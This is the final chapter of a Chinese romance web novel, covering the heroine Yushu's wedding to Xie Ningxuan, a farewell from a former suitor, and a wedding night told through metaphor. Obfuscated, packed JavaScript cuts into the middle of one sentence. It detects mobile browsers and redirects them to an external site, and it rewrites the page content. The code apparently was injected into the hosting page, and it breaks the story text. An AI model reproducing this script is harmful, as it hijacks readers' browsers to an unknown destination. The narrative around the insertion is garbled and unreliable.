郡主从垂柳手中夺过卷宗,眉毛一竖:“好了!卷宗我交回去了!你好好当你的新娘子,不许三心二意!哥哥说宁轩哥期待不已,昨晚一夜没睡呢!今夜洞房花烛,你们两个,可不许再讨论案子了!” 好好好,大好日子,确实不该心有旁骛。至于案件,反正我和谢宁轩心意相通,婚后在查呗! 我这么想着,便从善如流的点头称是:“都听姐姐的。咦,嫂子刚还在屋中,这会儿哪里去了?” “哦,多荣姑姑送来贺礼,其中一尊奉子观音得要出了阁的女子端着,放入你的嫁妆,才有好兆头。我看你三婶想端来着,眼睛都冒绿光了……”郡主撅撅嘴,“我还是让嫂子去吧。我们府上,我说了算。” 我赐婚的消息传回金华,祖母总算放心。碍于她老人家不适宜舟车劳顿,三婶便自告奋勇作为代表赶来了。 我对此还是很感激的,便也邀请她作为女方家属,在大婚前住到了御青王府。三婶激动不已,逢人就讲在金华是如何如何善待我,听的郡主耳朵都生茧了。 这也难怪三婶,我也没想到,我会从御青王府出嫁。实在是三殿下坚持,说南咏街街巷狭窄,八乘马车驶不进去,更对老爹劝说,要和他好好醉上几晚。老爹一肖想王府佳酿,更是把旧居抛在脑后,忙不迭就住了进来。 与三婶同船而来的,还有小白。我挺诧异,开春后他来京呆了一个月,竟在年尾我的大婚前,又赶来了京城。 小白依旧是懒懒散散样儿,翻个白眼吐槽我这女捕快的安排,说他回去就向我祖母提了一句,就被追问了一万个问题,今次必得揣着亲眼得见的好消息回去,才敢再次登门王宅。 我知他好意,便也发出邀请。谁知,他倒不客气,竟去谢宁轩的客院下榻了。 好在,他还知道定位,比起男方的关系,更应该是女方亲朋嘛!这会儿,也赶来了御青王府一道送嫁。 梨梨刚在前院接到他,正奔进屋子禀告:“白少爷到了!还送来了……哎呦!” 郡主也正往外走,差点和她撞一起,吓得后者差点跪地上。 “行了,起来,快进去吧。”郡主心情大好,也没责怪。大踏步往外走,髻上的祥云簪在日头下,反射出温柔的光芒。 “小白到前院了?”我拍一拍梨梨的手,安抚她别怕。 梨梨吐吐舌头,点头道:“嗯,白少爷还带来了一堆贺礼,都是咱们金华的物什,添作嫁妆。” “替我谢他了吗?” “谢啦。”梨梨侧头,“不过白少爷心不在焉的,奴……我看他眼珠子转来转去,像是找人……” “找人?找什么人?” 梨梨不知道答案,此时也没做出回答。因为屋外又竹声音乍然响起,透着浓郁的惊愕:“二少爷!您怎么来了!您该待在齐王府的啊!” “我知道,”二公子平淡的说,“我来送送羽书妹妹。小时候我答应,如果不……就会送她出嫁。” 我眼睫一颤,低了低头。 屋里院中,丫鬟们也都知趣的没有说话。 二公子则继续轻语:“羽书妹妹,恭喜啊。今日一过,我就要改称呼了。” 他立于窗外,带着丝丝颓意的轮廓被天光剪影,映在纸窗上,像一幅遥远的画。 按照青朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781628|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习俗,今日我不能见任何外男,直到盖上盖头。除开规矩,今时今日的我,也知道这扇窗,这扇加于我和他之间的窗,早已不能开了。 一阵沉默,我努力用轻快的语气道:“谢谢。也要恭喜你了,听说王爷总算劝服太后,暂不赐婚,允你去幽州军中效力?” “嗯,明日我就动身了。” “明日?”我有些惊诧,“这么快?” “太后月前就准了,我也早收拾好了行装。是哥、是哥说,希望我能留下参加你们的大婚。”二公子顿了顿,声音更轻了,“羽书妹妹,此去或要数年,再见不知何日。你……你要幸福。那捕快的差事若是疲累,不做也罢,别让自己受伤……羽书妹妹。” “好。”我努力笑道,“你在边疆也要注意安全。尚远侯世子才立下军功,你跟着他,一定大有可为。我便祝你大展宏图,威震军营,每战必捷。” “嗯。”二公子简单应下,又停顿几秒,还想再说什么。然院外传来了六桃欢快的声音:“二小姐,到时辰啦,盖盖头、出院门啦!” 尴尬僵立的丫鬟们一听这话,各个跳起来。垂云忙不迭为我盖上盖头,垂柳将一对苹果塞到我的手中,梨梨奔去开门。院外四个丫鬟则齐齐立于红毡边,迎我出门。 这热闹、急促的氛围,随着送嫁的敲锣声遥遥响起,窗下之人,也悄无声息的退出去了。 踏出院门,隔着盖头我也能看到满眼的红色,处处是闪耀的红双喜字与吉祥如意语。林霜玉立于院门边,作为嫂子,将由她扶我至正殿,拜别老爹。 我本以为我就嫁到京中,加上这半年东奔西跑,老爹应该早就习惯,不会生出离别的泪意。谁知三叩之后,老爹还是热泪泉涌,颤抖着将我的手交给谢宁轩,话都说不利索。 余光瞥见立于我身侧,亦穿着大红婚衣的他,较之前次不情不愿的更衣,他站的那样笔直,手握的那么紧。 我和我心上的他,终于等到了这一日。 接下来的流程,登轿、转席、跨马鞍、沃盥、拜堂、合卺……待他合上婚房的门,持着喜杆走来,雀跃的心情达到顶点,小鹿都飞奔起来。 “羽书,”谢宁轩的声音软软的,一如他温柔的气息,“终于就剩你我了,我终于践诺,八抬大轿娶了你。” 大红盖头被缓缓挑起,谢宁轩正含笑望着我。两厢对视,他深情唤了声:“娘子,我的娘子。” 我浑身一激灵。这次,我真的是他的娘子了。 “你,你……今天又拜堂了……”我在说什么,我都语无伦次了。 谢宁轩轻笑一声,透着老狐狸的狡黠。 “是,拜堂了两次。你知道这代表什么吗?”他幽幽地问。 “代表,代表什么?” “代表今生与来生,你都是我的人了。” 羞赧陡升,我被他眼中脉脉情丝燃烧着。 温厚的手掌抚上我的脸颊,谢宁轩慢慢靠来,像一个暖炉,哄的我心潮澎湃,又心绪痒痒。他轻啄着我的唇,一下一下,情丝蔓延直下,渴望着更多的抚慰。 温度在攀升。 “唤声夫君吧,娘子,我日日盼着呢。” 缠绵悱恻的声线,烧的我每处细胞都在呻吟。 “夫君……”我终是喃喃叫出,亦朝思暮想的称呼。 吻势陡然强势,是他再也耐不住,誓要攻坚堡垒。 “娘子,娘子……” “夫君,夫君……” 红烛热烈,帷帐轻扬。唇齿与肌肤,轻吟曼颤,叶上晨露。一艘船荡在海中,海浪一漾一漾来袭。掌舵人一手握着舵,还不忘加大马力,烧着更多的炭火,让小船驶的更快…… (正文完)